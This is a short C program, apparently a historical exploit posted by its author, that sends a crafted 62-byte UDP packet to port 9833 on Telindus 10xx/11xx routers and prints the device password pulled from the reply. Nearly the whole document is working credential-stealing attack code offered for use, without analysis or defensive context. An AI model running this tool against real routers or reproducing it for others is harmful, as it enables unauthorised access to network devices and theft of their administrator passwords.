this is a really-stupid bad-written exploit for telindus router (10xx and
11xx series)
bye,
rubik@olografix.org

/* telozarzo.c */

#include<sys/types.h>
#include<sys/socket.h>
#include<netinet/in.h>
#include<netinet/udp.h>
#include<arpa/inet.h>
#include<sys/time.h>
#include<string.h>
#include<stdio.h>
#include<signal.h>
#include<unistd.h>
#include<stdlib.h>

#define BUFFER_SIZE 300

struct sockaddr sa;
struct sockaddr sf;
struct sockaddr *from;
struct sockaddr_in *p, *d;
int len;
int fd;
int sent,recvd;
unsigned long start_ip;

char pass[32];
char str[10];
FILE *logfile;

struct timeval minutetimeout;
int TIMEOUT;

int numhost=0, numfound=0;
double per;

u_char data2recv[BUFFER_SIZE];
u_char data2sent[62]={
    0x19, 0x73, 0x04, 0x17, 0x73, 0x30, 0x00, 0x01,
    0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x01, 0x02,
    0x01, 0x33, 0x01, 0x13, 0x01, 0x16, 0x04, 0x08,
    0x04, 0x15, 0x01, 0x0D, 0x01, 0x0E, 0x01, 0x14,
    0x40, 0x03, 0x40, 0x04, 0x01, 0x26, 0x01, 0x27,
    0x01, 0x28, 0x01, 0x30, 0x01, 0x44, 0x42, 0x05,
    0x42, 0x22, 0x04, 0x18, 0xFF, 0xFF, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00
    };

void func_alarm_telindus (int s) {
  close(fd);
  return;
}

void exitnow () {
  close(fd);
  exit(2);
}

int checktelindus (unsigned long ip) {

  int i=0;
  char *s;

  p=(struct sockaddr_in*)&sa;
  p->sin_family=AF_INET;
  p->sin_port=htons(9833);
  p->sin_addr.s_addr= htonl(ip);

  d=(struct sockaddr_in*)&sf;
  d->sin_family=AF_INET;
  d->sin_port=htons(9833);
  d->sin_addr.s_addr=INADDR_ANY;

  minutetimeout.tv_sec = TIMEOUT;
  minutetimeout.tv_usec = 0;

  bzero (data2recv, sizeof (data2recv));

  fd=socket(AF_INET,SOCK_DGRAM,0);

  bind (fd, (struct sockaddr*)d, sizeof (struct sockaddr));
  sent=sendto(fd,&data2sent,62,0,(struct sockaddr*)p,sizeof(struct sockaddr));

  signal(SIGALRM, func_alarm_telindus);
  alarm(TIMEOUT);

  if (recvfrom(fd,data2recv,BUFFER_SIZE,0,from,&len)<=0) {
    alarm(0);
    signal(SIGALRM,SIG_DFL);
    bzero (data2recv, sizeof (data2recv));
    return(-1);
  }

  s=data2recv;
  while (i<5) {
    while ((*(s++)) != '\0');  i++;
  }

  if (*s == '\0') {
    printf ("pw vuota\n");
  } else {
    strncpy (pass, ++s, strlen(s) -3 );
    printf ("pw: = %s \n", pass);
  }
  alarm(0);
  signal(SIGALRM,SIG_DFL);
  return (0);
}


void usage (char *cmd) {
  printf ("\n%s ip\n", cmd);
  exit(1);
}

int main(int argc, char *argv[]) {

  if (argc != 2) usage(argv[0]);
  start_ip=inet_addr(argv[1]);

  signal(SIGINT, exitnow);
  signal(SIGTERM, exitnow);
  signal(SIGKILL, exitnow);
  signal(SIGQUIT, exitnow);

  checktelindus (ntohl(start_ip));

  return (0);
}